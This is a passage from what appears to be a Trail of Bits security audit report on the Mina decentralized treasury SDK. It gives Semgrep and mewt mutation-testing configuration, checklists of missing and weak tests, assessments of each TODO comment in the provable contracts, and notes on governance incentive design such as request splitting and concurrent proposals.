semgrep --metrics=off --sarif --config p/security-audit
```

Figure D.2: The command and rulesets used to run Semgrep on the codebase

Mewt

[Mewt](#) is a mutation testing tool developed by Trail of Bits with first-class TypeScript support. It inserts mutations into source files one at a time, reruns a configurable test command for each, and records whether the tests detect the change (caught) or not (survived).

The campaign was scoped to target `/packages/sdk/src/provable/**/*.ts`, matching the audit's primary focus. `treasury-constants.ts` is excluded via `ignore` because it contains only constant declarations and generates no mutants. All mutation types are

enabled; rather than narrowing mutation types to control runtime, the campaign uses per-target test isolation to assign each source file only its relevant test(s).

The most important configuration decision was the `[[test.per_target]]` rules. The naive approach of running the full test suite against every mutant is correct but impractical here: `vote-reducer.test.ts` takes approximately 130 seconds per run due to zero-knowledge proving, and running it for every unrelated mutant would have added many hours to the campaign. The default `[test]` command runs all fast provable tests in parallel (around 22 seconds) and deliberately excludes `vote-reducer.test.ts`; that suite is pulled in only for `vote-reducer.ts` and `voting-account.ts` via their dedicated rules. Per-target rules are matched in declaration order (first match wins), so more specific globs must appear before less specific ones—the `account.ts` rule, for example, must follow the `staking-ledger-to-voting-ledger.ts` rule.

```
db = "mewt.sqlite"

[log]
level = "info"

[targets]
include = ["target/packages/sdk/src/provable/**/*.ts"]
ignore = ["treasury-constants"]

[run]
## All mutation types enabled - prefer limiting files over limiting mutation types.

[test]
## Default for files without a dedicated test (account.ts, hashing-helpers.ts,
## treasury-owner.ts). Runs all fast provable tests in parallel (~22s)
cmd = "bash -c 'cd target/packages/sdk && NODE_NO_WARNINGS=1 node --loader
ts-node/esm --test test/provable/staking-ledger-to-voting-ledger.test.ts
test/provable/merkle-tree/prefixed-merkle-tree.test.ts
test/provable/contracts/treasury-pause-controller/multisig-signatures.test.ts
test/provable/contracts/treasury-pause-controller/treasury-pause-controller.test.ts
test/provable/contracts/treasury-proposal/treasury-proposal.test.ts'"

[[test.per_target]]
glob = "**/contracts/treasury-proposal/vote-reducer.ts"
cmd = "bash -c 'cd target/packages/sdk && NODE_NO_WARNINGS=1 node --loader
ts-node/esm --test test/provable/contracts/treasury-proposal/vote-reducer.test.ts
test/proving/tracing/vote-reducer-tracer.test.ts'"

[[test.per_target]]
glob = "**/voting-account.ts"
cmd = "bash -c 'cd target/packages/sdk && NODE_NO_WARNINGS=1 node --loader
ts-node/esm --test test/provable/contracts/treasury-proposal/vote-reducer.test.ts
test/proving/tracing/vote-reducer-tracer.test.ts'"

[[test.per_target]]
glob = "**/contracts/treasury-proposal/treasury-proposal.ts"
```

```

cmd = "bash -c 'cd target/packages/sdk && NODE_NO_WARNINGS=1 node --loader
ts-node/esm --test
test/provable/contracts/treasury-proposal/treasury-proposal.test.ts'"

[[test.per_target]]
glob = "**/contracts/treasury-pause-controller/treasury-pause-controller.ts"
cmd = "bash -c 'cd target/packages/sdk && NODE_NO_WARNINGS=1 node --loader
ts-node/esm --test
test/provable/contracts/treasury-pause-controller/treasury-pause-controller.test.ts'"

[[test.per_target]]
glob = "**/contracts/treasury-pause-controller/multisig-signatures.ts"
cmd = "bash -c 'cd target/packages/sdk && NODE_NO_WARNINGS=1 node --loader
ts-node/esm --test
test/provable/contracts/treasury-pause-controller/multisig-signatures.test.ts'"

[[test.per_target]]
glob = "**/merkle-tree/prefixed-merkle-tree.ts"
cmd = "bash -c 'cd target/packages/sdk && NODE_NO_WARNINGS=1 node --loader
ts-node/esm --test test/provable/merkle-tree/prefixed-merkle-tree.test.ts'"

[[test.per_target]]
glob = "**/staking-ledger-to-voting-ledger.ts"
cmd = "bash -c 'cd target/packages/sdk && NODE_NO_WARNINGS=1 node --loader
ts-node/esm --test test/provable/staking-ledger-to-voting-ledger.test.ts
test/proving/tracing/staking-ledger-to-voting-ledger-tracer.test.ts'"

## NOTE: must follow staking-ledger-to-voting-ledger.ts rule (first match wins)
[[test.per_target]]
glob = "**/account.ts"
cmd = "bash -c 'cd target/packages/sdk && NODE_NO_WARNINGS=1 node --loader
ts-node/esm --test test/provable/staking-ledger-to-voting-ledger.test.ts
test/proving/tracing/staking-ledger-to-voting-ledger-tracer.test.ts'"

```

Figure D.3: The `mewt.toml` configuration file used to conduct a mutation testing campaign.

To rerun the campaign from scratch, run `mewt run`. To add coverage for a new source file, add a `[[test.per_target]]` entry with its dedicated test command, placing it above any less specific globs it might otherwise shadow.

Necessist

The **Necessist** tool iteratively removes single statements and method calls from tests and then runs them. If a test passes with a statement or method call removed, it could indicate a problem in the test or in the code being tested.

Necessist does not support Node's native testing framework out of the box. Thus, the Necessist results presented in [appendix E](#) will not be immediately reproducible. Nonetheless, they provide valuable recommendations for improving the decentralized treasury's test suite.

E. Testing Recommendations

Trail of Bits ran `mewt` (mutation testing) and `Necessist` (statement-removal testing) against the `test/provable/` test suite. The campaign identified coverage gaps in `TreasuryOwnerSmartContract` (no unit tests for any on-chain method) and in `TreasuryProposalSmartContract` (unit tests cover only one pure helper, not the on-chain methods). Because proof compilation is slow, the campaign ran with `PROOFS_ENABLED=false` to keep per-mutant test times practical; as a result, it could not surface missing or incorrect circuit constraints; the surviving mutants reflect gaps in functional test logic rather than in proof correctness. A follow-up pass retested the most plausible false positives and confirmed that the survivors represent genuine gaps, subject to the same `PROOFS_ENABLED=false` limitation.

The two checklists below enumerate concrete remediation steps. Fix the structural prerequisites first; they affect the validity of every test in the suite.

Structural Prerequisites

- ☐ **Enable proof verification in CI.** The project includes a `test:proofs-enabled` npm script, but it is not part of any automated job. Add a CI job that exercises the `ZkProgram` tests with `PROOFS_ENABLED` set to `true`; without one, a missing or incorrect circuit constraint can go undetected.
- ☐ **Fix and cover `treasury-owner.ts` in the `mewt` campaign.**
`test/integration/treasury-owner.test.ts` is the only test that exercises `TreasuryOwnerSmartContract`, but it contains a preexisting failure: the test aborts immediately with `Error: Argument 1 of method tallyVotes is not a provable type: function Object() { [native code] }`, before reaching any contract method. Fix this failure, then add a per-target rule in `mewt.toml` mapping `treasury-owner.ts` mutations to the integration test. Alternatively, extract a fast local-blockchain unit test that covers each `@method` (following the pattern in `treasury-pause-controller.test.ts`).

Checklist A: Tests to Add

Within each component, items appear in descending order of importance.

- ☐ `contracts/treasury-owner.ts`: No `@method` in this contract has unit test coverage. Deploy it via the local blockchain simulator (following the pattern in `treasury-pause-controller.test.ts`).
 - ☐ `createProposal`: Assert that proposal state is initialized correctly; assert rejection outside the creation lifecycle period.

- ☐ `vote`: Assert that vote action is dispatched; assert rejection when paused or outside the voting period.
- ☐ `tallyVotes`: Assert that status transitions to APPROVED or REJECTED; assert that double-tally is rejected; assert that staking ledger root verification fires; assert that a proof generated under a substituted `voteReducerVerificationKey` or `stakingLedgerToVotingLedgerVerificationKey` is rejected (requires `PROOFS_ENABLED=true`).
- ☐ `executeProposal`: Assert that recipient balance increases by the correct amount; assert rejection for non-approved proposals; assert rejection when `amountToPayOut` exceeds `remainingAmount`; assert that `paidOutAmount` increments correctly; assert that recipient hash is verified.
- ☐ `requireLifecyclePeriod`: Assert rejection when the current slot falls outside the specified window.
- ☐ `requireNotPaused`: Assert rejection when paused is true.
- ☐ `contracts/treasury-proposal/treasury-proposal.ts`: All six on-chain methods are untested. The current test file covers only `calculateAcceptanceCriteria`.
 - ☐ `vote`: Assert that vote action is dispatched; assert rejection when paused.
 - ☐ `tallyVotes`: Assert that status transitions correctly for passing and failing votes; assert that double-tally (`status ≠ UNKNOWN`) is rejected; assert that `exhausted.assertTrue` is enforced (full ledger traversal required); assert that a proof generated under a substituted `voteReducerVerificationKey` or `stakingLedgerToVotingLedgerVerificationKey` is rejected (requires `PROOFS_ENABLED=true`).
 - ☐ `execute`: Assert that recipient balance increases; assert rejection for non-APPROVED proposals; assert that `recipientHash` is checked; assert that `paidOutAmount` increments; assert that an `amountToPayOut` greater than `remainingAmount` is rejected.
 - ☐ `togglePause`: Assert the UNKNOWN → PAUSED → UNKNOWN cycle; assert that status is PAUSED (not UNKNOWN) after the first call.
- ☐ `contracts/treasury-proposal/vote-reducer.ts`: The existing test calls `reduceBatch` and `merge`, but does not cover all merge edge cases. The utility class methods have no direct tests. The existing merge rejection tests (action hash continuity, nullifier continuity, voting ledger root, mismatched public input) work in mock mode because `assertEquals` still throws an exception on value mismatches.

However, `PROOFS_ENABLED=true` is needed to confirm that the constraints are actually compiled into the circuit—in mock mode, a missing `assertEquals` would silently pass.

- ☐ `merge` (action hash continuity): Assert rejection when `output1.toActionsHash` is not equal to `input2.fromActionsHash`.
- ☐ `merge` (nullifier continuity): Assert rejection when `output1.toNullifierRoot` is not equal to `input2.fromNullifierRoot`.
- ☐ `merge` (voting ledger root): Assert rejection when roots differ between the two proofs.
- ☐ `merge` (actionStateHistory): Assert that the merged output's history correctly reflects both input proofs.
- ☐ `merge` (reversed proof order): Assert rejection when proofs are supplied in the wrong order.
- ☐ `merge` (multilevel recursive): Merge three batches recursively and assert correct output.
- ☐ `merge` (real merged with all-dummy batch): Merge a real batch with an all-dummy batch and assert that tallies reflect only the real batch.
- ☐ `merge` (two all-dummy batches): Assert zero tallies.
- ☐ `merge` (full batches, no dummy padding): Assert correct tallies when both batches contain only real actions.
- ☐ `merge` (all-same-vote-type): Assert correct tally when all votes are the same type.
- ☐ `reduceBatch` (tally correctness): Assert that `yay`, `nay`, and `abstain` output values match the input vote actions; assert that `toActionsHash` matches the expected chain.
- ☐ `reduceBatch` (dummy handling): Assert that a batch of all-dummy actions produces zero tallies.
- ☐ `Vote.assertValid`: Assert that valid vote types pass; assert that an out-of-range value fails.
- ☐ `VoteAction.isDummy` and `VoteAction.empty`: Assert that `isDummy(VoteAction.empty())` is true; assert that it is false for a real action.

- ☐ `ActionStateHistory.equals`: Assert true for identical histories; assert false for differing ones.
- ☐ `staking-ledger-to-voting-ledger.ts`: These tests require `PROOFS_ENABLED=true` to exercise the in-circuit assertions.
 - ☐ `merge (index continuity)`: Assert rejection when `output1.index + 1` is not equal to `input2.index`.
 - ☐ `merge (staking ledger root)`: Assert rejection when roots differ across the two proofs.
 - ☐ `merge (voting ledger root boundary)`: Assert rejection when `output1.votingLedgerRoot` is not equal to `input2.votingLedgerRoot`.
 - ☐ `digest (Merkle membership)`: Assert rejection when an account's witness is for the wrong index or a different staking ledger root.
 - ☐ `digest (self-delegation)`: Set `account.delegate` to `account.pk` and assert that the voting ledger entry for that key contains the account's balance exactly once (not doubled).
 - ☐ `digest (delegation aggregation)`: Create accounts A and B where `A.delegate` is set to `B.pk` and `B.delegate` is set to `B.pk`; after digest, assert that B's voting account balance equals `A.balance + B.balance`.
 - ☐ `digest (delegation depth)`: Create accounts $A \rightarrow B \rightarrow C$ (i.e., `A.delegate` is set to `B.pk`, `B.delegate` is set to `C.pk`); assert that A's balance is added to B's voting account (single-level resolution), not transitively forwarded to C.
 - ☐ `digest (empty delegate)`: Create an account with `delegate` set to `PublicKey.empty()`; assert that its balance is added to the voting account keyed by the empty public key (the current behavior), and document whether this is intentional or a gap.
- ☐ `account.ts`
 - ☐ `toHashInput` and `packToFields`: Compute `packToFields(Account.toHashInput(knownAccount))` and assert that the result matches a precomputed expected value. This single test also covers the `packToFields` bit-packing loop, the `pow2` helper, and the `x-coordinate/isOdd` field ordering for both `pk` and `delegate`.
 - ☐ `toHashInput`: Assert that the output is consistent with the staking ledger Merkle tree.

- ☐ `Account.empty`: Assert that the hash matches the empty leaf at an unpopulated index.
- ☐ `toHashInput`: Assert deterministic output for the same input.
- ☐ `fromJSON`: Assert round-trip correctness; assert that the empty-delegate edge case (where `delegate` is the zero key) is handled.
- ☐ `isEmpty`: Assert true for `Account.empty`; assert false for a non-empty account.
- ☐ **hashing-helpers.ts**
 - ☐ `emptyHashWithPrefix`, `getActionHash`, `appendActionToHashList`: Compute each for a known input and assert the output against an independently computed expected value.
- ☐ **merkle-tree/prefixed-merkle-tree.ts**
 - ☐ `setLeaf` and `getWitness` (out-of-bounds): Assert that both throw an exception when called with `index === leafCount`.
 - ☐ `fill`: Populate a small tree with `fill`, retrieve the leaves, and assert they match the input values.
 - ☐ `getWitness`: Assert that the witness for an inserted leaf is valid.
 - ☐ `getWitness`: Assert correct behavior for non-existent keys.
- ☐ **Integration**
 - ☐ Full proposal lifecycle with `VoteReducer.merge`: Deploy → create proposal → cast votes → reduce in multiple batches → merge → tally → execute.

Checklist B: Existing Tests to Improve

Necessist does not support Node's native testing framework out of the box. Thus, the Necessist results presented below will not be immediately reproducible. Nonetheless, they provide valuable recommendations for improving the decentralized treasury's test suite.

The following items address the most significant structural weaknesses.

- ☐ **multisig-signatures.test.ts**
 - ☐ **Success tests assert nothing after verify.** Every "success" test for `MultisigSignatures.verify` ends immediately after the call. Because `verify` returns void, removing the call leaves an empty body that trivially

passes. Add a downstream assertion—a dependent state check or a Boolean sentinel—so that removing `verify` breaks the test.

- ☐ **Hash collision tests pass without hashing.** The four cross-nonce tests map nonces through `MultisigSignature.data*` and check that all outputs are pairwise unequal. Necessist removes the `.map(...)` call, leaving the raw `UInt32` nonces; because the four nonces are already distinct, all inequality assertions pass without the hash ever being called. Add an assertion that at least one output differs from its raw nonce input to confirm the hash function ran.
- ☐ **Wrong-participant failure test uses uninitialized `otherContext`.** Removing `otherContext.generateParticipants()` does not break the test because an empty-keyset context also produces signatures that fail verification—just for a different reason. Add `assert(otherContext.getPublicKeys().length > 0)` before `createSignatures` to ensure the test fails when the context is improperly initialized.

☐ `vote-reducer.test.ts`

- ☐ **`.slice(0, VOTE_ACTION_BATCH_SIZE)` is vacuous.** Every batch test slices the action array to `VOTE_ACTION_BATCH_SIZE`, but `reduceBatch` silently ignores elements beyond the batch size, so removing `.slice` never changes the output. Add `assert.equal(actions.length, VOTE_ACTION_BATCH_SIZE)` before each `reduceBatch` call to make the intent explicit and give Necessist a target.
- ☐ **Out-of-range vote value test is permanently skipped.** The test for inputs like `Vote.Field(99)` is marked `{ skip: true }` with no explanation. Out-of-range vote values are a security-relevant boundary: the circuit must either reject them or canonicalize them. Remove the `skip` and add an assertion for the intended behavior.
- ☐ **`voteReducerContext` restoration in `finally` blocks is unvalidated.** After the “mismatched witness index” rejection tests temporarily corrupt the global context, `beforeEach` in subsequent tests overwrites it, making the `finally` restoration redundant. Add a post-`finally` assertion—such as `assert.strictEqual(voteReducerContext.get()?.votingLedger, context.votingLedger)`—so that removing the `finally` block breaks the test.

☐ `treasury-pause-controller.test.ts`

- ❑ **requireNotPaused success test asserts nothing.** The test calls `requireNotPaused` inside a transaction and ends without assertions. Add a state assertion confirming the call succeeded and the contract remains unpaused.
- ❑ **afterEach teardown has no effect.** Each suite resets `TreasuryPauseControllerSmartContract.multisigParticipants = [ ]` in `afterEach`, but `beforeEach` always overwrites the property, making the teardown redundant. Add a test that deploys with an empty participant list and asserts rejection; this will validate that stale state would matter if `beforeEach` initialization were skipped.

Testing Methodology

The checklists above close the gaps that mutation testing and Necessist identified directly. To close the remaining gaps and maintain test quality going forward, apply the following principles for each key function.

- **Verify state transitions, not just absence of exceptions.** The Necessist findings above are almost entirely attributable to tests that treat “this call did not throw” as their only signal. Prefer assertions on concrete post-call state: on-chain values, balances, or return values. A test whose body can be removed entirely and still passes covers nothing.
- **Test each guard condition independently.** For every `@method`, enumerate its guards (`requireNotPaused`, `requireBetween`, `assertTrue`) and add a test for each that violates exactly one guard, asserts the rejection, and verifies that all other state is unchanged. This is the only reliable way to confirm each guard is enforced.
- **Proof-system constraints require `PROOFS_ENABLED=true`.** Any test that exercises a `ZkProgram` method (`digest`, `merge`, `reduceBatch`, `exhaust`) must run with proofs enabled to be meaningful. In mock mode, every in-circuit assertion is a no-op: a missing constraint is indistinguishable from a correct one.
- **Arithmetic correctness requires value-specific assertions.** Functions that perform field arithmetic (`packToFields`, `getActionHash`, `calculateAcceptanceCriteria`) should assert against independently precomputed expected values, not just against a round-trip through the same code. A wrong formula that is internally consistent passes round-trip tests silently.

F. “TODO” Recommendations

We catalogued every “TODO” comment in `packages/sdk/src/provable/` as of the audit base commit. Entries with an associated finding are handled lightly here; the linked finding contains the full analysis. Entries without a finding receive a more detailed assessment.

account.ts

- **Line 224: `fromJSON` silently swallows all deserialization errors.**
Account.`fromJSON` wraps `super.fromJSON` in a bare `try/catch` block that returns an empty account on any failure. The catch was added because the empty public key fails the Pallas-curve membership check inside `o1js`’s `PublicKey` deserializer, and custom-token accounts in the Mina staking ledger store an empty `pk` or `delegate`. The workaround has two problems: the throw-and-catch cycle runs for every token account in the ledger (tens of thousands of times on mainnet), and the catch also swallows genuine data-corruption errors, giving operators no visibility into real failures. The fix is to pre-check for the empty-key condition before calling `super.fromJSON`, handling the known token-account case without throwing an exception at all, and then remove the `try/catch` block entirely so that unexpected errors propagate to the caller.
- **Line 230: Uncertain sentinel value for token-account delegates.** The developer does not yet know whether the staking ledger stores `null`, the empty public key, or some other sentinel for token-account delegates. This uncertainty is the root cause of the disabled token-account exclusion logic in `staking-ledger-to-voting-ledger.ts` (see the lines 239–242 entry for that file). The `fromJSON` workaround immediately below, which patches an absent or empty `delegate` to the empty public key and redirects `json.delegate` back to `json.pk` before calling `super.fromJSON`, provides indirect evidence that real mainnet staking ledger exports store `null` or the empty key for token-account delegates. Resolving this question definitively (by inspecting a real epoch snapshot or querying `o1Labs`) would allow the exclusion logic to be re-enabled with confidence. Comparing against the default token ID rather than a `delegate`-sentinel heuristic is the more robust approach regardless: it is immune to any token account that happens to carry a non-empty `delegate`, which would otherwise be misidentified as a MINA account and credited to the wrong `delegate` in the voting ledger.

merkle-tree/prefixed-merkle-tree.ts

- **Line 99: Stale question about out-of-bounds writes in `setNode`.** `setNode` is private and reachable only through `setLeaf`, which enforces bounds before `setNode` is called. The concern is unreachable in practice; the comment should be removed.

- **Line 104: Stale question about orphan nodes from an out-of-bounds setLeaf call.** setLeaf now throws an exception immediately on an out-of-range index, making this path unreachable. The comment predates the bounds check and should be removed.
- **Line 156: Stale question about whether fill() should validate length or support an offset.** setLeaf enforces bounds on each element, and no caller requires an offset. The comment should be removed.

voting-account.ts

- **Line 3: VotingAccount.isEmpty cannot distinguish a zero-balance account from the empty sentinel.** VotingAccount.isEmpty compares the Poseidon hash of an account against the hash of its empty form. Because VotingAccount stores only a UInt64 balance, the empty form serializes to balance = 0. Any delegatee whose accumulated voting weight is genuinely zero hashes identically to the empty sentinel and is treated as absent. The fix is to add a Bool isPresent field to VotingAccount, set to false in the empty form and true whenever a real entry is written. VotingAccount is an off-chain struct stored in the voting Merkle tree, not an on-chain @state field, so this change consumes none of the eight zkApp state slots. It does change the leaf hash (the struct gains one Field element in its toFields serialization), so the emptyVotingAccountHash constant in BaseVotingLedger's constructor and every existing proof must be regenerated after the change.
- **Line 4: Speculative note about adding more fields to VotingAccount.** There is no current security consequence related to this comment. Adding fields is a breaking change to the hash layout and must be treated as a protocol upgrade.

contracts/treasury-proposal/treasury-proposal.ts

- **Line 57: No method to update zkAppUri during the PROPOSAL period.** This comment relates to a missing feature; there is no direct security consequence to the absence of the feature.
- **Line 58: Proposal contract deployed with default permissions.** createProposal deploys each proposal account with default permissions, which sets setVerificationKey and setPermissions to signature and access to none. A proposer who retains their private key can therefore replace the proposal circuit or expand its permission set at will. This contrasts with TreasuryOwnerSmartContract, which is hardened from an all-impossible base with setVerificationKey set to impossibleDuringCurrentVersion. The root cause, deploying via raw AccountUpdate rather than the deploy function, is addressed at the treasury-owner.ts#L175 entry below. In the short term, replace the default permission set with a configuration derived from an

all-impossible base that enables only what the proposal contract's methods require (proof permissions for the `editState`, `editActionState`, `send`, and `access` fields) and sets `setVerificationKey` to `impossibleDuringCurrentVersion` and `setPermissions` to `impossible`.

- **Lines 100, 255, and 270: Developer-acknowledged overflow and precision concerns in vote-tally arithmetic.** All three “TODO” comments flag uncertainty about overflow and precision in the acceptance-criteria, required-participation, and approval-ratio calculations. These are the four overflow sites identified in the previous audit (finding #05). Mainnet total currency is approximately 1.68×10^{18} nanomina; multiplying by `BASIS_POINTS` (10,000) or by a `requiredParticipationBp` of at least 2,000 produces an intermediate product that exceeds `UInt64.MAX` (around 1.84×10^{19}) before the division executes. In `o1js`, `UInt64.mul` includes a range check that constrains the result to 64 bits; when the product exceeds this range, proof generation fails and the transaction is unprovable. The fix is to perform intermediate arithmetic at the `Field` level and implement a 128-bit-safe division that constrains the final result back to 64 bits; a full `UInt128` type is not required. Note that reordering to divide before multiplying is not a valid workaround for the approval-ratio and acceptance-criteria sites, because the numerator is typically smaller than the denominator in those cases and integer division would yield zero.
- **Line 150: Side-loaded proofs appear to have different wrap domain size limits than regular proofs.** The concern is a misunderstanding of an intentional `o1js` design. The `o1js` source defines `maxProofsToWrapDomain` as `{ 0: 0, 1: 1, 2: 1 }` ([zkprogram.ts#L703](#)), mapping both `maxProofsVerified = 1` and `= 2` to wrap domain 1. Both side-loaded proof classes set `maxProofsVerified` to 2, and `Pickles.sideLoaded.create` passes this as `N2` to the underlying `Pickles` library, which uses the same wrap domain 1. The behavior is fully consistent between compiled and side-loaded paths. The apparent discrepancy during testing likely arose because `DynamicProof.dummy` defaults `domainLog2` to 14, which is the actual circuit domain size and not a separate limit. No action is required; the “TODO” comment should be removed.
- **Line 278: Vote-math events not emitted.** This is a commented-out suggestion to emit events recording the tally inputs and computed thresholds. It is simply a missing observability feature, so there is no security consequence.

contracts/treasury-proposal/vote-reducer.ts

- **Line 348: Public input compared via Poseidon hash rather than field by field.** `VoteReducer.merge` checks that the caller-supplied `publicInput` matches `proof1.publicInput` by comparing their Poseidon hashes. The “TODO” comment notes that comparing individual fields would be cheaper in-circuit than hashing the full struct first. The fix is straightforward: replace the single Poseidon hash

comparison with direct field equality assertions on each member of `publicInput`. Note that a nearby but unrelated issue (`proof2.publicInput.actionStateHistoryTarget` is never compared against `proof1`'s target at all, whether by hash or by field) is covered separately by [TOB-MINA-8](#); implementing the "TODO" comment as written would not close that gap unless the field-by-field comparison is extended to cover `proof2.publicInput` as well.

- **Line 490: Question about whether dummy vote actions require a dummy voting account.** The voting-ledger membership check fires unconditionally for both real and dummy vote actions. This is the safer design: making it conditional would allow a prover to pair a dummy action slot with an arbitrary off-ledger account. However, the always-on check requires a valid Merkle witness for the empty-public-key sentinel index in every batch, meaning the voting ledger must be pre-populated with an entry at that index before any batch that includes dummy actions; if it is not, any such batch will fail to prove. The "TODO" comment should be resolved by confirming that the empty-key entry is always present and adding a test for a fully-dummy batch.
- **Line 545: No clean API for an async side effect without a return value.** The workaround wraps a nullifier-ledger write in `Provable.witnessAsync` with a dummy zero-field return value that is unconstrained and unused. This is an o1js API ergonomics limitation; the workaround is functionally correct.

contracts/treasury-constants.ts

- **Line 3: Governance constants not calibrated against real-world data.** The participation and approval thresholds (`MIN_PARTICIPATION_BP`, `MAX_PARTICIPATION_BP`, `MIN_APPROVAL_BP`, `MAX_APPROVAL_BP`) have placeholder values that have not been modeled against real Mina staking distribution data. The bond divisor (`BOND_AMOUNT_DIVISOR`) is covered by [TOB-MINA-5](#).

contracts/treasury-owner.ts

- **Line 48: Stale note that TreasuryOwnerSmartContract starting permissions are not finalized.** The permissions object immediately below is correctly hardened: it starts from `allImpossible` and uses `setVerificationKey: impossibleDuringCurrentVersion`. The "TODO" comment was not removed after the permissions were finalized; it should be deleted.
- **Line 175: createProposal deploys via raw AccountUpdate instead of new TreasuryProposalSmartContract.** Constructing the proposal account update manually bypasses the `deploy` function, which is where a permission override would normally live, and is the root cause of the misconfiguration described at

`treasury-proposal.ts#L58`. Two mechanisms in the current codebase prevent a proposer from exploiting the weak permissions directly, but they guard different attack routes rather than redundantly blocking the same one, and defeating either alone opens a path. The first is the Mina protocol's `Token_owner_not_caller` rule: any account update targeting a custom-token account must have the token owner as its structural parent/caller, enforced by the compiled OCaml logic in `o1js_node.bc.cjs`. A proof of concept (`test/integration/tob-mina-8-poc.test.ts`) confirmed that this blocks a direct top-level signed `setVerificationKey` update even with access set to `none` on the proposal account. The second is `approveBase`, which unconditionally rejects all externally supplied token-account updates routed through `TreasuryOwnerSmartContract`. Because the two mechanisms guard separate routes rather than backing each other up, relaxing `approveBase` (for example, to support a new withdrawal flow) or discovering a bypass of `Token_owner_not_caller` is individually sufficient to make the weak permissions exploitable; the proposal contract itself offers no fallback. In the long term, switch to deploying proposal contracts using new `TreasuryProposalSmartContract` and add a `deploy` override that explicitly applies a static permissions object, following the same pattern as the `deploy` function of `TreasuryOwnerSmartContract`. This will close the deployment gap and prevent permissions from silently diverging from the contract's intended configuration in the future.

- Line 190: Staking epoch ledger hash not stored correctly on lightnet.**
`createProposal` stores the current staking epoch ledger hash as `stakingEpochDataLedgerHash` in the proposal's on-chain state; `tallyVotes` later asserts this value against the staking-ledger-transform proof to bind the tally to the correct epoch snapshot. If the stored value is zero or incorrect, either all subsequent `tallyVotes` calls fail because the proof cannot match the stored hash, or, if zero is stored, a prover could supply proofs against a fabricated all-zero staking ledger. The developer's own testing demonstrates that the mechanism is broken on lightnet. We did not determine the root cause or whether the failure also affects mainnet; this should be resolved before deployment.
- Line 219: No spam prevention on the vote method.** Any account can call `vote` at a negligible cost. See [TOB-MINA-5](#) for the full discussion of spam vectors.
- Line 284: Uncertainty about whether `this.self.publicKey` is safe as the treasury-owner address.** `this.self.publicKey` is the standard `o1js` idiom for reading a contract's own address. The concern is unfounded; no action is required.

staking-ledger-to-voting-ledger.ts

- Line 12: Index field uses `UInt64` where a 36-bit range check would suffice.** The staking ledger has height 36, so valid leaf indices fit in 36 bits. `UInt64` is safe but

adds unnecessary constraints. `o1js` does not have a `UInt36` type, but the `rangeCheckN` gadget would enforce the tighter bound. This is an optimization, not a correctness issue, and should be pursued only if constraint budget becomes a concern.

- **Line 127: Exhaust proof uses an SDK-computed empty-leaf hash that may not match the real staking ledger.** The exhaust method proves that the index immediately after the last processed account is empty, computing the expected empty-leaf hash as `hashWithPrefix("MinaAccount*****", packToFields(Account.toHashInput(Account.empty())))`. The prefix `"MinaAccount*****"` is the canonical `o1js` account hash prefix (confirmed in [bindings/crypto/constants.ts#L21](#)), so that part is correct. However, whether the real Mina node populates empty Merkle tree slots with this hash or with a different sentinel (such as a zero field) cannot be determined from the `o1js` source alone; it requires checking the OCaml staking-ledger implementation. A mismatch would cause the exhaust proof to always fail against a real ledger, blocking all tallying. The encoding should be verified against a real epoch staking ledger snapshot and a corresponding test should be added.
- **Lines 239-242: Commented-out token-account detection logic.** The `digest` method is intended to credit voting weight only to native MINA accounts, skipping custom-token accounts. The detection logic for identifying token accounts is commented out, so every entry in the staking ledger, including token accounts, unconditionally contributes its balance to the delegate's voting weight. Token accounts in the Mina staking ledger carry the empty public key as their delegate, so their balances accumulate at the empty public key in the voting ledger instead of being excluded. Because the empty public key has no corresponding private key, that accumulated balance can never be voted with, and any MINA stake held under custom tokens is silently excluded from governance participation. The `commented-out detection block` shows the intended check, and the `unconditional balance accumulation` that runs without it is visible immediately below. The delegate-sentinel heuristic depends on an unconfirmed protocol invariant; any token account carrying a non-empty delegate would be misidentified as a MINA account. Comparing against the default token ID is the more robust fix. In the short term, enable the gate using `Provable.if` to skip balance accumulation for non-MINA accounts. In the long term, skip the voting-ledger witness and leaf insertion entirely for token accounts rather than inserting a zero-balance entry at the empty public key; even with the balance gate correctly applied, the current design still creates a `VotingAccount` entry for the empty public key with a balance of zero, which conflicts with the zero-balance sentinel used to represent absent entries (noted at [voting-account.ts#L3](#)) and adds noise to the Merkle tree.
- **Line 304: A crash mid-batch leaves the off-chain voting ledger in an unrecoverable state.** The off-chain voting ledger is mutated inside

`Provable.witnessAsync` during proof generation. If the process crashes after the storage write but before the proof is committed, the ledger is one step ahead of the last successful proof, making a clean resume impossible without manual intervention. No on-chain funds are at risk, but a crash during a large ledger traversal could permanently block tallying for a live proposal. The fix requires transactional semantics on the off-chain storage layer (for example, a write-ahead log or copy-on-write snapshot) so that an incomplete batch can be rolled back to the last committed proof.

- **Line 322: Index always increments for dummy (filler) accounts.** `digest` increments the ledger index by one for every account in the batch regardless of whether it is a dummy. If dummy entries only ever appear as trailing padding in the final batch, this is correct: the index advances past the last real account and into the empty region. But if a prover can place a dummy entry in a non-tail position, the real staking-ledger account at that slot would be silently excluded from the voting ledger. There is no explicit assertion that dummies must trail real entries within a batch; the code should add one or clearly document and enforce the invariant at the call site.

G. Governance Economics and Incentive Design

This appendix collects observations about economic and incentive design properties of the system. Some lack clean architectural recommendations at this time; they are documented here for completeness and to inform future protocol design work.

- **Pausing penalizes proposals.** The `vote` method in `TreasuryProposalSmartContract` calls `requireNotPaused` before dispatching a `VoteAction`. Because there is no mechanism to extend a proposal's voting window to compensate for time lost while paused, a pause effectively penalizes the proposer. This creates a tension: the pause mechanism exists for emergencies, but applying it to an individual proposal has a punitive side effect independent of any wrongdoing by the proposer. Mina Foundation suggested that executing paused proposals should be disallowed while voting on them remains possible; we see no security impact from that change.
- **Concurrent proposals can collectively exceed treasury capacity.** Governance thresholds are computed against a frozen snapshot of the treasury balance taken at proposal creation time, with each proposal evaluated independently. As a result, multiple concurrent proposals can each pass governance while collectively requesting more than the treasury holds. If the treasury holds 10 tokens and three proposals requesting 5 tokens each are all approved, only two can be executed; the third will find the treasury exhausted and remain stuck as `APPROVED` indefinitely, locking the proposer's bond until the treasury is replenished. There is no cancellation or bond-recovery path for this case. Mina Foundation has indicated this behavior is an intentional design decision.
- **Governance thresholds create an incentive to split large requests.** Because thresholds scale with the ratio of proposal amount to treasury balance, a proposer can reduce the governance bar by splitting a large request into smaller ones. With the current constants (`CURVE_CONSTANT_PARTICIPATION_BP = 500`, `MIN_PARTICIPATION_BP = 2000`, `MAX_PARTICIPATION_BP = 5000`), a single 10% ask requires approximately 40.7% participation, while ten 1% asks each require only approximately 25%—making the split strategy materially easier to push through. Mitigating this would require tracking the aggregate outstanding asks across concurrent proposals when computing each proposal's threshold at tally time, which the current architecture does not support.

